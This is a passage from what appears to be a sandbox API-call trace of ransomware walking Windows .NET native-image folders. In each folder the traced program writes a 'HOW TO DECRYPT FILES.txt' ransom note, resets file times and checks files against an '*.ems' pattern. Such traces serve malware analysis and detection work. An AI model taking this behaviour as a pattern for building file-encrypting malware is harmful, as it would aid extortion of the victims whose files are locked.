(lpString1="", lpString2="System.Windows.Presentation.ni.dll.aux") returned -1 [0123.620] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\System.Windows.Presentation.ni.dll") returned="System.Windows.Presentation.ni.dll" [0123.620] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\" [0123.620] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\") returned="" [0123.620] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\HOW TO DECRYPT FILES.txt" [0123.620] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\how to decrypt files.txt")) returned 0x20 [0123.620] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\", lpString2="System.Windows.Presentation.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\System.Windows.Presentation.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\System.Windows.Presentation.ni.dll.aux" [0123.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5abb17e9#\\47eae5af9af4dada35fc99b2aebd0836\\System.Windows.Presentation.ni.dll.aux", pszSpec="*.ems") returned 0 [0123.620] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3472930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb3472930, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb3472930, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Presentation.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0123.620] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0123.621] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb3472930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb3472930, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb3472930, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="47eae5af9af4dada35fc99b2aebd0836", cAlternateFileName="47EAE5~1")) returned 0 [0123.621] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0123.621] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb31c5070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb31c5070, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb31c5070, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Wind5cb9c182#", cAlternateFileName="SYSTEM~4.WIN")) returned 1 [0123.621] lstrcmpA (lpString1=".", lpString2="System.Wind5cb9c182#") returned -1 [0123.621] lstrcmpA (lpString1="..", lpString2="System.Wind5cb9c182#") returned -1 [0123.621] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0123.621] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Wind5cb9c182#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#" [0123.621] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb31c5070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb31c5070, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb31c5070, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0123.625] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.625] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb31c5070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb31c5070, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb31c5070, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.625] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.625] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.625] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb31c5070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb31c5070, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb31c5070, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10e977c09d43d6428afc878b89e8876b", cAlternateFileName="10E977~1")) returned 1 [0123.625] lstrcmpA (lpString1=".", lpString2="10e977c09d43d6428afc878b89e8876b") returned -1 [0123.625] lstrcmpA (lpString1="..", lpString2="10e977c09d43d6428afc878b89e8876b") returned -1 [0123.625] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\*.*") returned="*.*" [0123.625] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\", lpString2="10e977c09d43d6428afc878b89e8876b" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b" [0123.625] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb31c5070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb31c5070, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb31c5070, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0123.630] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.630] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb31c5070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb31c5070, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb31c5070, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.630] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.630] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.630] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb31c5070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb31c5070, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb31c5070, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x39200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Windows.Forms.DataVisualization.Design.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0123.630] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.630] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Windows.Forms.DataVisualization.Design.ni.dll") returned -1 [0123.630] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Windows.Forms.DataVisualization.Design.ni.dll") returned -1 [0123.630] lstrcmpiA (lpString1="", lpString2="System.Windows.Forms.DataVisualization.Design.ni.dll") returned -1 [0123.630] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\*.*") returned="*.*" [0123.630] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\" [0123.630] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\") returned="" [0123.630] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\HOW TO DECRYPT FILES.txt" [0123.631] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\how to decrypt files.txt")) returned 0xffffffff [0123.631] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0123.634] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0123.634] CloseHandle (hObject=0x90) returned 1 [0123.634] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\", lpString2="System.Windows.Forms.DataVisualization.Design.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\System.Windows.Forms.DataVisualization.Design.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\System.Windows.Forms.DataVisualization.Design.ni.dll" [0123.634] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\System.Windows.Forms.DataVisualization.Design.ni.dll", pszSpec="*.ems") returned 0 [0123.634] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb31c5070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb31c5070, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb31c5070, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x518, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Forms.DataVisualization.Design.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0123.634] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.634] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Windows.Forms.DataVisualization.Design.ni.dll.aux") returned -1 [0123.634] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Windows.Forms.DataVisualization.Design.ni.dll.aux") returned -1 [0123.634] lstrcmpiA (lpString1="", lpString2="System.Windows.Forms.DataVisualization.Design.ni.dll.aux") returned -1 [0123.634] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\System.Windows.Forms.DataVisualization.Design.ni.dll") returned="System.Windows.Forms.DataVisualization.Design.ni.dll" [0123.634] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\" [0123.634] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\") returned="" [0123.634] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\HOW TO DECRYPT FILES.txt" [0123.635] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\how to decrypt files.txt")) returned 0x20 [0123.635] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\", lpString2="System.Windows.Forms.DataVisualization.Design.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\System.Windows.Forms.DataVisualization.Design.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\System.Windows.Forms.DataVisualization.Design.ni.dll.aux" [0123.635] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind5cb9c182#\\10e977c09d43d6428afc878b89e8876b\\System.Windows.Forms.DataVisualization.Design.ni.dll.aux", pszSpec="*.ems") returned 0 [0123.635] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb31c5070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb31c5070, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb31c5070, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x518, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Forms.DataVisualization.Design.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0123.635] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0123.635] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb31c5070, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb31c5070, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb31c5070, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10e977c09d43d6428afc878b89e8876b", cAlternateFileName="10E977~1")) returned 0 [0123.635] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0123.635] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70274310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x70274310, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x70274310, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7875612e, dwReserved1=0x740000, cFileName="System.Wind74b7bf4b#", cAlternateFileName="SYSTEM~1.WIN")) returned 1 [0123.635] lstrcmpA (lpString1=".", lpString2="System.Wind74b7bf4b#") returned -1 [0123.635] lstrcmpA (lpString1="..", lpString2="System.Wind74b7bf4b#") returned -1 [0123.635] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0123.635] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Wind74b7bf4b#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#" [0123.635] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70274310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x70274310, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x70274310, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0123.636] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.636] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70274310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x70274310, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x70274310, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.636] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.636] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.636] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70274310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x70274310, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x70274310, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0e9541bf3682b6d1dc58f877d00bf003", cAlternateFileName="0E9541~1")) returned 1 [0123.636] lstrcmpA (lpString1=".", lpString2="0e9541bf3682b6d1dc58f877d00bf003") returned -1 [0123.636] lstrcmpA (lpString1="..", lpString2="0e9541bf3682b6d1dc58f877d00bf003") returned -1 [0123.637] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\*.*") returned="*.*" [0123.637] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\", lpString2="0e9541bf3682b6d1dc58f877d00bf003" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003" [0123.637] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70274310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x70274310, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x70274310, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0123.642] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.642] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70274310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x70274310, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x70274310, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.642] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.642] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.642] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70274310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x70274310, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x70274310, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x31400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Windows.Input.Manipulations.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0123.642] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.642] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Windows.Input.Manipulations.ni.dll") returned -1 [0123.642] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Windows.Input.Manipulations.ni.dll") returned -1 [0123.642] lstrcmpiA (lpString1="", lpString2="System.Windows.Input.Manipulations.ni.dll") returned -1 [0123.642] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\*.*") returned="*.*" [0123.642] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\" [0123.642] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\") returned="" [0123.642] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\", lpString2="HOW TO DECRYPT FILES.txt" | out: 